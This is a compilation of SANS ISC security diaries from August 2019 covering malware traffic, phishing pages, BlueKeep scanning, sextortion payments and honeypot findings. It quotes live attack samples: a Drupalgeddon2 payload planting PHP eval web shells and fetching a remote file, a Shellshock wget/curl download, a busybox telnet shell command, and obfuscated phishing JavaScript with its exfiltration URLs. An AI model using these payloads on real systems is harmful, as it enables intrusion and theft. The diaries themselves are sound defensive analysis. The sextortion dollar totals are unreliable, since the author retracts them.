• File description: MedusaHTTP malware persistent on an infected Windows host

Post-infection C2 traffic:

• 176.119.29[.]14 port 80 - cdnshop78[.]world - POST /forums/members/api.jsp 
• 195.22.26[.]248 port 80 - mtcunlocker[.]info - POST /forums/members/api.jsp
• DNS queries for bbouble[.]xyz - Standard query responses: A bbouble[.]xyz SOA ns1.reg.ru

Final words

This specific sample of MedusaHTTP appears to be targeting casino domains.  Since MedusaHTTP is DDoS botnet malware, web traffic to casino domains from my infected Windows host was likely targeting these domains in conjunction with other infected Windows hosts.

Pcaps and malware for this diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

This month we got patches for 93 vulnerabilities total. According to Microsoft, none of them are being exploited.

Amongst critical vulnerabilities, it's worth mentioning CVE-2019-1181 and 2019-1182, which affects Remote Desktop Services (RDS) - formerly known as Terminal Services.

These vulnerabilities are pre-authentication and require no user interaction. Thus, just like Bluekeep, they are wormable.

The affected versions are Windows 7 SP1, Windows Server 2008 R2 SP1, Windows Server 2012, Windows 8.1, Windows Server 2012 R2, and all supported versions of Windows 10, including server versions. Windows XP, Windows Server 2003, and Windows Server 2008 are not affected.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

August 2019 Security Updates

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
Twitter|

Reader Jason submitted a suspicious file he received via email: attachment Swift Detail.daa

After a quick Google search, I found out DAA stands for Direct Access Archive and that it is a disk image format like ISO files. Unlike ISO files, DAA files are not recognized by Windows, they won't be mounted when double clicked. Only Windows machines with installed image editing applications (like PowerISO) can open these files.

I have a license for such an application, and was able to extract the content: a single .exe file, no surprise!

This is exactly like the attacks we reported with ISO files, except that in this case, you definitively need the right application to be able to execute the embedded malware. If you don't, you can't open the DAA file to execute the embedded EXE file. I doubt that these campaigns will make a lot of victims, if any: I don't think you'll find many corporate users that are familiar with SWIFT messages and have a tool like PowerISO installed.

I did some research, and found out that the DAA format is, in a nutshell, a header followed by chunks of a compressed ISO file. There are free, open source tools to convert DAA files to ISO (e.g. extract the embedded ISO file). Like DAA2ISO.

And I started to make my own tool in Python. Not a tool to parse DAA files, but a more generic tool: a tool that scans through binary data for known compression methods and extracts the compressed data it finds. It's not ready for publication yet, but I had good results with this DAA sample:

My tool found sequences of Zlib compressed chunks, that decompress to streams of 64K bytes long (65536). It looks like the DAA format consists of an ISO file chopped up in chunks of 65536 bytes, that are then compressed.

And then, I decompress all chunks to be identified by file-magic.py:

There are more formats like DAA: GBI, ISZ, ... It wouldn't surprise me if these formats starts to be used to deliver malware in a near future.

If you do find such samples, please submit them! Thanks!

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

A new version of nmap, 7.80, was released for Defcon.

It comes with a new Npcap driver (Windows) and new NSE scripts.

Recently, I've taken a closer look at service detection with nmap. File nmap-service-probes contains data to send to a TCP or UDP port (the probe) and possible answers for fingerprinting (the matches).

There are 3 new probes in this version:

One of the reasons I took a closer look at nmap service detection, is that I had to identify a remote service from a locked-down workstation, without any chance of running nmap.

So I turned to VBA/Excel to get the job done :-)

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

While reviewing my hunting scripts results, I found a nicely obfuscated phishing page entirely based on JavaScript. The page is called 'COURT ORDER LETTER.html’ (SHA256:54b2efcf5aef60ce3654d2f73f5fd438382b09168c6b599798ec9da8d204c562) and has a very low VT score: 2/53[1]! The file is quite big (941KB) and contains a big chunk of Base64 encoded data:

<script src="data:text/javascript;base64, ... "> </script>

Once decoded, this data appears to not be malicious. It just contains a local copy of well-known JavaScript libraries to help in rendering nice web interfaces. The content of the libraries has just been concatenated into a big file then Base64 encoded. It contains the following pieces of code:

• jQuery v3.1.0
• Bootstrap v3.3.7
• clipboard.js 1.5.12
• Lity - v1.5.1 
• FitVids 1.1
• jquery.matchHeight-min.js
• jquery.slimScroll.min.js

When you load the page in your sandbox, you get this nice screen:

The fake login page supports multiple service providers: Gmail, Office365, Yahoo!, Hotmail, AOL or “Others” (the victim may use a drop list to select his/her preferred authentication method).

Once the credentials have been provided, a second dialog box asks for more details: a phone number and a recovery email address. This information is very interesting from the attacker perspective to try to hijack the victim’s account.

Finally, the attacker returns a JPG file to the victim:

All the required content is loaded from the JavaScript file. 
Collected information is exfiltrated to the following IP address: 185[.]224[.]138[.]93. Here are the HTTP requests generated.

The credentials:

GET hxxp://7a240[.]a240248[.]96[.]lt/MSS2RO37qTL3CBw9vO0Lk2BX8vV7jMX2MLEsIM9ddw11feM3Sjp3ijUOUFK/mss.php?yasse=victim@acme.org&upw=foobar&hidCflag=

The phone number and recovery email:

POST hxxp://7a240[.]a240248@[.]96[.]lt/MSS2RO37qTL3CBw9vO0Lk2BX8vV7jMX2MLEsIM9ddw11feM3Sjp3ijUOUFK/msoo.php
fon= 1123456789
rmail=victim2@acme.org

Finally, the JPEG image is downloaded via:

GET hxxp://7a240[.]a240248[.]96[.]lt/MSS2RO37qTL3CBw9vO0Lk2BX8vV7jMX2MLEsIM9ddw11feM3Sjp3ijUOUFK/dsp.php

What about the obfuscation techniques?

The HTML page starts with a byte order mark (BOM[2]):

<U+FEFF>

Followed by a comment:

<!-- Internal Server Error —>

And followed by 7000+ empty lines before the effective obfuscated JavaScript code:

<!-- saved from url=(0014)about:internet -->
<script type="text/javascript"><!--
function apxa(h1td){var
jkm5,b62j=Function,o3bc,frts="Z$*}QSrs%@m|\'{\\>O~z^cTk]Ma6\"V[NA,5:\tnCL9tWpdGf_xJh2)3E+X#!gIbjH\nUK?;ye 0BiR4/&.v(P \
=DFl\r8uo71wYq-<",kmjo,d1fh=frts.length,ivlw={cd:""},ue=new b62j("ret"+"urn unesc"+"ape")(),pq6e=new b62j("x",ue("%74 \
hi%73.c%64+=x")),yeuh=new b62j("x","y",ue("%72et%75rn%20x.c%68ar%41t(%79)"));for(jkm5=0;jkm5<h1td.length;jkm5++){o3bc \
=yeuh(h1td,jkm5);kmjo=frts.indexOf(o3bc);if(kmjo>-1){kmjo-=(jkm5+1)%d1fh;if(kmjo<0){kmjo+=d1fh;}pq6e.call(ivlw,yeuh(f \
rts,kmjo));}else{pq6e.call(ivlw,o3bc);}}new b62j(ue("%64oc%75me%6Et.w%72it%65(t%68is.%63d)%3Bth%69s.c%64=n%75ll")).ca \
ll(ivlw);}apxa("Z)d\\7/w5fyYPh[\\K\rdH\tcg>Af,} efNPiG])n$AD\'!p8TVcMw\tqM\n_1JZN,;Q5)n2YNYow,.KK\\k\\C?;ye9.Xhvq\tHZ \
[89fes78/x4HGD_lJ8(#s]7gw\'!#JF,z>^e*$L@wF/0,{=u\'Dn8(C7<ce2[7$VswE+X#!:bp{|TsK2x^a_a z]zMV\"gcYU~.j>l=8S:!iR4/&.4hvg \
3|9}o4+E%7;\n)t<60S\'Q9iS]%kKFV5;D.)k%Zocj&I>Aw1{Qm:~%\\L*\'zprOkdC;=]2l~4\"5!w.4U\t\n2;_eJ02yGVxJvd?s-(!EJKgUljfUK<b \
DM5Q8v0?D/=r![fx5J&\rCkDuT#TZf7-+U:&,-#C@%n8b!H&@,hV)NE,m+RksiHm{RcCFOl%ynW(jifIw&^vx3l=RIZNHoA\\IOK-9vmC0}TrOz{f>}~N \
^FOAIZaYqMo?=0#Q\tp:er\tEL3.q/,J\'Bzyk>&\t6,$:FK5U0%709 &\\ Zf/D4{x/qvY9X9gI7+&+<U 13WZh.rLS4IY%m8Ux\\S>OP^o+W7]BY6$[ \
3:*\':8nmC/IW) ...

I don't know how this malicious file was dropped to victims. I presume via an email. If the page is properly designed and the code well obfuscated, I don't understand why the attacker did not take time to implement SSL communication with the server collecting stolen credentials and register a nice domain name. 96[.]lt [3] is already known as a bad domain:

[1] https://www.virustotal.com/gui/file/54b2efcf5aef60ce3654d2f73f5fd438382b09168c6b599798ec9da8d204c562/detection
[2] https://www.w3.org/International/questions/qa-byte-order-mark
[3] http://whois.domaintools.com/96.lt

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

[This is a guest diary submitted by Jan Kopriva. Jan is working for Alef Nula (http://www.alef.com) and you can follow him on Twitter at @jk0pr]

Probably anyone who deals with security analysis of logs, PCAPs or other artifacts on a daily basis has come across some strange or funny texts, payloads or messages in them.

Sometimes, these unusual texts are intended as jokes (such as the „DELETE your logs“ poem which was logged by a large number of HTTP servers back in 2015 [1]), while at other times they may be connected with malicious activity. If you have an IPS/IDS deployed in front of your webservers, you’ve no doubt seen logs of HTTP GET requests for the path „/w00tw00t.at.blackhats.romanian.anti-sec:)“. Although these requests might seem funny, they represent an indicator of a potential attack, since they are generated by the ZmEu scanner, which is often used in campaigns targeting servers with phpMyAdmin installed.

While certain benign-looking requests, such as the ones generated by ZmEu, might indicate malicious activity, sometimes the opposite is true as well. Couple of times this year, we’ve noticed untargeted attempts at exploiting vulnerabilities on web servers with the intent to inform administrators about the need to patch the software they’re running.

Some of these warning activities were „grey“ in their nature at best. This was the case with the following example from March 2019, where the message to an administrator of a WordPress site was followed by an attempt to exfiltrate data from the targeted server.

Other attempts at warning the administrators, however, seemed to be well-intentioned, if not strictly ethical. A good example might be a campaign targeting Drupal sites vulnerable to CVE-2018-7600 (i.e. the „Drupalgeddon2 vulnerability“), which was active in March and April of this year and in which its authors tried to get the message across by creating a file on the server named vuln.htm and containing the text „Vuln!! patch it Now!“.

When decoded (and with line breaks added), the POST data look like this:

mail[#markup]=echo Vuln!! patch it Now!> vuln.htm&
mail[#type]=markup&
form_id=user_register_form&
_drupal_ajax=1&
mail[#post_render][]=exec

Unfortunately, it seems that some not-so-well-intentioned actors took inspiration from this, as a similar campaign appeared in April, in which its authors tried to create the same file with the same content on the targeted server. Unfortunately, they tried to create a couple of web shells named vuln.php, modify the .htaccess file and download another PHP file to the server at the same time.

When decoded (and again slightly modified), the parameters in the request look like this:

/?q=user/password&
name[#post_render][]=passthru&
name[#type]=markup&name[#markup]=echo 'Vuln!! patch it Now!' > vuln.htm; 
echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> sites/default/files/vuln.php; 
echo 'Vuln!!<?php @eval($_POST['pass']) ?>'> vuln.php; cd sites/default/files/; 
echo 'AddType application/x-httpd-php .jpg' > .htaccess; 
wget 'http://domain_redacted/Deutsch/images/up.php'

The unfortunate fact that in this case, a malicious actor managed to create something damaging based on something which was intended to be benign and possibly even helpful reminded me of an interesting campaign, where the opposite was true and where the relevant logs and PCAPs were both strange and funny.

In this campaign, which we detected between July 23, 2016, and August 4, 2016, it’s author tried to target web servers vulnerable to Shellshock using HTTP GET requests with a payload placed in the User-Agent header. So far nothing unusual.

What made this campaign stand out was that its author seemed to have reused someone else’s code in an incorrect fashion. The payload code was straightforward and appeared to have been intended for download of a malicious file from the attacker‘s domain to the targeted server. However, the actor behind the campaign probably made a mistake while modifying the placeholders in the code, where his own domain should have been, which resulted in something quite unexpected…

The relevant part of payload (slightly modified) looks like this:

system("wget http://ip_redacted/YOUR_URL_HERE ;
curl -O http://ip_redacted/YOUR_URL_HERE ;
fetch http://ip_redacted/YOUR_URL_HERE");

It probably won’t come as a surprise, that the path /YOUR_URL_HERE on the attacker’s server (all requests seen contained the same IP address of this server) didn’t contain any file and attempts to access it resulted in a HTTP 404 code. That meant that even if a vulnerable server was targeted, the payload wouldn’t be able to download any malicious files to it. 

Someone mentioned to me a theory at the time, that it might have been an original promotional campaign for a botnet for hire (i.e. „As you may see, I have this active botnet which may be used to spread malware – YOUR URL could be HERE“). However, this seems quite unlikely and a – by far – more probable explanation is that the malicious actor simply made an error

Although this isn’t the only malicious campaign where an attacker seems to have made a simple mistake like this, the fact that it ran for almost two weeks in this broken state makes it quite unusual…and one of the best examples I’ve ever seen of how not to do an attack campaign.

[1] https://www.theregister.co.uk/2016/01/06/30_million_servers_log_poem/
 

This diary is the second part in the series on verifying SSL/TLS configuration – penetration testers, but also security auditors should find this series really useful (let us know if you like it, or if there is another related topic you think should be covered).

In this part we will talk about certificates used on SSL/TLS services. In the previous part, available HERE, I showed couple of tools I like to use when testing SSL/TLS configuration. In this diary we will talk about checking certificates, while the next one will cover ciphers.

As I mentioned, one of my favorite tools for checking SSL/TLS configuration is nmap, with some of really useful NSE scripts. The one I use for checking certificates is the ssl-cert script. This script is very easy to use and will basically show all information that we need to know about to us, as shown below for the isc.sans.edu web site:

$ nmap -sT -p 443 -Pn isc.sans.edu --script ssl-cert
Starting Nmap 7.70SVN ( https://nmap.org ) at 2019-08-07 09:38 UTC
Nmap scan report for isc.sans.edu (204.51.94.153)
Host is up (0.085s latency).

PORT    STATE SERVICE
443/tcp open  https
| ssl-cert: Subject: commonName=isc.sans.edu
| Subject Alternative Name: DNS:isc.incidents.org, DNS:isc.sans.edu, DNS:isc.sans.org, DNS:isc1.sans.org, DNS:isc2.sans.org, DNS:www.incidents.org
| Issuer: commonName=Let's Encrypt Authority X3/organizationName=Let's Encrypt/countryName=US
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-07-16T13:52:00
| Not valid after:  2019-10-14T13:52:00
| MD5:   6c32 54b2 b168 29de fd51 3955 0789 b46d
|_SHA-1: c714 a765 b0bc 5770 78b5 2e33 0dee 4cc0 de80 c879

Nmap done: 1 IP address (1 host up) scanned in 0.76 seconds

I have highlighted important fields that we should be paying attention to when verifying certificates, so let’s explain them:

• Not valid before and Not valid after fields define the time interval in which the certificate is valid. Obviously, when verifying certificates we should make use that the certificate is currently valid and not expired, otherwise an error will be presented.
• The Issuer field defines who issued the certificate. This should be a well known, trusted Certificate Authority – in this example we can see that isc.sans.edu is using Let's Encrypt Authority, which is a free CA (another reason to encrypt everything today!).
  We could verify the trust chain now and find that this is a trusted CA – just keep mind that if you are performing this test on an internal network that, before starting with the penetration test, you should ask the client to specify which internal CA’s they use – these should be trusted, of course.
  Additionally, if you are using automated vulnerability scanners such as Nexpose, Nessus or Qualys, with most of them you can import the list of trusted CA’s. This will help with reducing false positives.
• The Subject field defines the web site for which the certificate has been issued. The parameter we are interested in is the cn (commonName) parameter and it must match exactly the target site name (what is being entered in the address bar in a browser). So when we access https://isc.sans.edu, the cn field must be isc.sans.edu (and not isc2.sans.edu).
  That being said, I must also stress out that modern web browser deprecated the cn parameter in the Subject field and now require an additional field: Subject Alternative Name (SAN) that must be present and must match the site name. As we can see, the certificate used on isc.sans.edu correctly sets that field as well. A lot of browsers will report an incorrect certificate if that field does not exist – for example Google Chrome requires SAN from version 58 and later. In other words – make sure that you verify if the SAN field is there, and if it is set correctly.
  Notice here that if the Subject and Issuer fields are the same – we are looking at a self-signed certificate. Otherwise, it is an untrusted certificate – I wanted to stress this our specifically because I see a lot of incorrect reports (even in vulnerability scanners!).
• Public key type and size for this certificate are set to RSA and 2048 bits. This is (currently) the de facto standard – anything lower than 2048 bits is not considered safe, and will be reported by modern browser. So when you see a certificate with 1024 bits, that should be reported and a new one should be generated.
• Finally, signature algorithm: today it should be always SHA-256 (as we can see above it is set to sha256WithRSAEncryption). MD5 and SHA-1 are not considered safe any more and should be avoided. Google Chrome stopped supporting SHA-1 from version 57.

With this we know how to read the output of the ssl-cert script, so we can report on any issues identified.

In next diary we will talk about encryption algorithms and protocols that we need to pay attention to.

--
Bojan
@bojanz
INFIGO IS

Since the Microsoft Remote Desktop Protocol (RDP) vulnerability CVE-2019-0708, commonly knows as BlueKeep, was  first announced in May of 2019, the security industry has been holding their breath waiting for the worse case scenario. Scanning for vulnerable RDP instances began almost immediately after the announcement. Since then a number of exploits for BlueKeep have been seen that can crash vulnerable systems, but the anticipated wormable exploit hasn't yet materialized.

Now that both Immunity's Canvas and Rapid7's Metasploit have working exploits in their penetration testing tools you have to believe that it is only a matter of time until the bad guys have one as well.

It would be nice to say that the number of systems running a vulnerable RDP instance has decreased since the vulnerability announcement, but for the IP space I have been tracking I have only seen a decrease of about 10% in vulnerable systems over the last 90 days.

If you are a security administrator and want to find the BlueKeep vulnerable systems on your network, how would you go about it?  For the Bluekeep vulnerability it is relatively easy. With access to a *nix box with the high speed scanner masscan and the rdpscan tool installed along with their dependencies, it is a very easy bash script. 

I called this bash script scan_bluekeep.sh

-----

-----

As the comments state, place your IP addresses or ranges to be scanned in the file scan_ips.txt.  This will be used as the input file for this script.  The output will be two files:

* The masscan output file will be rdpips-<DATE>.txt, all IPs found with RDP open on port 3389
* the rdpscan output file will be RDP_results-<DATE>.txt, the rdpscan result showing each detected RDP instance and whether or not rdpscan believes they are vulnerable to BlueKeep

Checking the rdpscan output in RDP_results-<DATE>.txt you will generally find one of 3 results:

1.2.3.4 - SAFE - Target appears patched

or 

1.2.3.4  - VULNERABLE - got appid

there is also an UNKNOWN result, which is usually one of:

1.2.3.4 - UNKNOWN - RDP protocol error - receive timeout
1.2.3.5 - UNKNOWN - no connection - connection closed (RST)
 

Concentrate on resolving the VULNERABLE results and you will sleep much better when the wormable exploit finally hits.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

For the background on this diary please see the previous diaries on Sextortion: Follow the Money: Diary 1, Diary 2, Diary 3

Since the last update in the Sextortion series I have contined to track the bitcoin addresses reported to the ISC.  Altogether 563 BTC addresses have been reported.  90 of those addresses received 497 payments totalling over $785,000 USD. That is an average payment of nearly $1600 USD at current Bitcoin prices. Over $530,000 USD of that value has been moved out of the tracked addresses, leaving about $250,000 USD still sitting in the tracked addresses.

I still believe that the addresses we are tracking are a very small percentage of the overall addresses used in the various sextortion campaigns, but even these addresses received, and moved out a not insignificant amount of value.

As shown in Diary 3,at that point is was possible to track over $40 Million USD of payments being sent into Bitcoin mixers to have the payments laundered for extraction, and that was only a small amount of the value that was in the consolidation addresses.   The rest had not moved out yet, leaving over $100 Million USD behind presumably to be moved out later. 

Unfortunately, shortly after that diary was published, the bad guys got more creative with the way they moved value out of the BTC wallets, breaking the tools I was using to find the consolidation wallets. It appeared as if they were consolidating the value in new addresses, fragmenting the value again, reconsolidating, etc.  in order to make it far more difficult to follow where the value was going.

---------

UPDATE 20190805:  Please ignore the numbers below this update.  I am being told that my methodology was faulty and that some of these are BTC wallets are known valid.  This clearly needs more investigation.  Sorry!

Still I was, with some patience, able to track some of the BTC value to some consolidation wallets, and the dollar values are truly frightening.  Keep in mind that I cannot attribute all of the value in these consolidation BTC addresses to the Sexploitation campaigns, all I can be sure of is that the money from some of the sexplotiation BTC addresses was moved into these addresses, so presumably it belongs to the same criminal enterprise that was running the Sexploitation campaigns. Also, the value is based on the current value of Bitcoin.  With the volativity of Bitcoin the actual value may have been more or less at the time the value was moved out. Some of these consolidation BTC addresses appear to still be in use.  The values in them were changing as I was writing this diary. 

Here are the top 5 consolidation BTC addresses by value that I could find:

Like I said a truly frightening number...almost $69 Billion USD! It is important to remember that these consolidation addresses are the ones I was able to find using only our very limited set of tracked Sexploitation BTC addresses, there are very likely many more consolidation addresses in use.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

In diary entry "Recognizing ZLIB Compression", I mention my tool file-magic.py: it's mainly a wrapper for command file (libmagic).

By default, command file has no definitions to detect ZLIB detection, but my tool file-magic.py uses an additional file with custom definitions:

Take for example a ZLIB compressed stream in a PDF document:

As you can see, the stream starts with 0x78, an indication that this is ZLIB compression.

Piping this stream in my file-magic.py tool helps identifying the unfiltered stream content:

Of course, if you don't want to use this tool, you can just integrate these ZLIB definitions in your own definition files.

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

As Infosec folks, we spend a lot of time on the latest and greatest exploits, attacks and malware – we seem to be (abnormally) driven towards continuing education in our field.  This is a great thing, but often we lose sight of the fact that the attackers don’t always try so hard.

I got a text this morning, telling me my Netflix payment was unsuccessful.  This was really interesting to me, as I’ve canceled my Netflix subscription (I guess I’m a luddite).  Looking at the text, the link is pretty obviously malicious.

So let’s browse there (from a sandbox VM).  That login page looks pretty good!  It should, since if you look at the page source, it pulls most of the visible elements from the Netflix website.  This looks a lot like something we’d do in a penetration test using the Social Engineering Toolkit (SET).

Let’s put some fake credentials in:  test@test.com / TestTest123!

Oh surprise, the credentials worked!  What are they asking for next?   Personal Information and Credit Card details of course!

So no fancy malware, just "click here and give me your credit card" phishing - the only different thing is the SMS source, and really that's not even all that out-of-the way these days anymore.

This follows along with what you might do in a penetration test, except in a pentest likely you are just collecting the credentials – I don’t think anybody would be cool with pentesters taking that next step. (least of all Law Enforcement).  Though depending on the site, quite often your credentials might be worth more than your credit card information.

Oh, but I’d never fall for that you say!  But think of other folks in your family, the ones who ask you about “computer stuff” over the holidays.  Or your neighbours, coworkers and so on.  This attack was a pretty obvious “spray the area code / cell phone range” attack – they didn’t attack me personally, they’re blanketing as many people as they can find.  Even if 1 person in a hundred, or one person in a thousand go the distance, this makes money.  And think about it, if you made a list of people you know, there’s almost certainly a “clicker” in the 10, I know my “clicker friends and family” ratio is certainly well above 1%.

Also think of how people work.  Once they click that first link (in the text message), they’re almost certain to take that next step.  In fact, the more hoops they need to jump through, the more likely they are to jump through that next hoop.  It’s almost like they’re determined to get the prize at the bottom of the cracker-jack box (I just dated myself there too I guess).

Every person who get to the end of this scam is now on the hook for fraudulent credit card transactions.  Either it’ll be a one-time $4999 hit (or whatever the fraud watermark number is these days), or they’ll be buying small items forever (which the attacker then likely returns, with the return going into a different account) until they figure out that they’ve been hacked.  And given the supply chain, the victim’s credit card info might be sold a few times before it’s ever used.  I doubt that the original attacker wants the risk of being busted on the financial side.

If you’ve been following my recent blogs, you’ll note that I tend to write  a lot about the Center for Internet Security Critical Controls.  This attack falls squarely into Control 17 – Implement a Security Awareness and Training Program.  An attack like this is certainly something that you might present to the non-technical folks in your workplace.  Or from the other perspective, if you can get your developers to look at unusual site activity (for instance – identify and log on malicious IP addresses that pull the site graphics but aren’t actually loading the page), you can work that into your perimeter IPS or WAF configs – a decent home-grown Threat Intelligence feed (those are often the best kind IMHO).

Unfortunately, effective end user education is hard.  Either you need to pay for it, or you need to take time away from your technical challenges and prepare material to then deliver the actual program (whatever format that takes).  And almost without fail, we are almost all measured more heavily on the tech work we do, as opposed to things like end user education.

Has your organization’s web assets been impersonated in an attack on 3^rd parties?  Have you had folks in your organization fall for something like this?  Or have you used attacks of this kind to bolster your perimeter?  Please, share via our comment form, almost every facet of this topic is something we fall short on.

======= update 4:45 ============

A bit more analysis - a quick check shows that the host for this scam resolves to 107.180.12.114
Using our "Whereis" tool ( https://isc.sans.edu/tools/whereis.html ), this was found in ASN 26496, in a Godaddy datacenter - it's just a quick cloud site.  Godaddy currently has these on for $2/month, for the host + DNS + the certificate.  So if you're making money on this site, it's a nice "throw-away" cost, especially if you've got stolen credit card info to pay for it :-)
This means that our adversaries are 100% using cloud services, with all the associated automation and orchestration benefits.  My bet is that, after all the HTML was written, this site took less than 20 minutes to stand up, SSL and all.  (I know my corporate site took about that long, I'm hosted on github)
Not only that, but because it's all automated, the SSL/TLS implementation is done as right as right can be - this site gets an "A" on the qualys SSL checker site (see Bojan's story from last week - https://isc.sans.edu/forums/diary/Verifying+SSLTLS+configuration+part+1/25162/ )
Given the target audience, the SSL and "lock" symbol adds a lot more credibility to this site than it should - non-technical folks see that and just assume that everything is secure and "as it should be"

Where was the "fail" in this?  With all the automation in standing up these cheap sites, the hosting provider missed the fact that this was an obvious phishing domain - there's nobody looking at these DNS names as they whiz by, so if the algorithm misses it, it gets the green light and up it goes.  They get an "A" for automation on the ops side, something less than that on the "let me check your bona fides before we sell you the thing" algorithm.

===============
Rob VandenBrink
www.coherentsecurity.com

Last week, Kevin wrote a diary about a marked uptick of %%port:34567%%. When I looked at some of the hosts scanning for it, I noticed that many of them are also scanning %%port:9527%%. So I put up a little honeypot for this port, and what I found is not the HTTP requests I expected (there are some vulnerabilities in webcam servers associated with this port). Instead, I found that it looks like the attacker is expecting an unauthenticated shell. Here is a typical set of commands:

/bin/busybox LA;
cd /var/tmp; echo -e "/bin/busybox telnetd -p9000 -l/bin/sh; /bin/busybox LA" > telneton; sh telneton;

The first command is a typical test if busybox is installed on the system. The attacker is expecting something like "LA: applet not found" back in return. Next, the attacker is creating a little script in /var/tmp/telneton. This script will be used to start the telnet server on port 9000. 

I haven't found yet what the "next step" will be, but am waiting for incoming telnet connections on port 9000. So far I am just getting the usual "webcam" HTTP requests on port 9000 like 

REMOTE HI_SRDK_DEV_GetHddInfo MCTP/1.0
CSeq:12
Accept:text/HDP
Func-Version:0x10
Content-Length:15
Segment-Num:0

But I think these are unrelated. Scans for %%port:9527%% had some interesting "decay patterns" over the last few months.

Let me know if you have any insight into this activity
 

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
Twitter|